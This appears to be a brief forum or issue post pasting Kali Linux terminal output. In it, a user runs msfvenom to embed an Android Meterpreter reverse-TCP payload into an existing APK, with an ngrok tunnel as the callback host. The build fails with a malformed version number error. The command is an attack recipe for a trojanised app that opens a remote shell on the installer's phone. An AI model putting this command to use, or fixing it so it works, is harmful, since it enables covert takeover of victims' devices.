Malformed version number string 2.4.0

[RyzexRyuk]

root@kali:~/Desktop/Blot# msfvenom -x fpb.apk -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=19549 -o fpp.apk
Using APK template: fpb.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: Malformed version number string 2.4.0
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true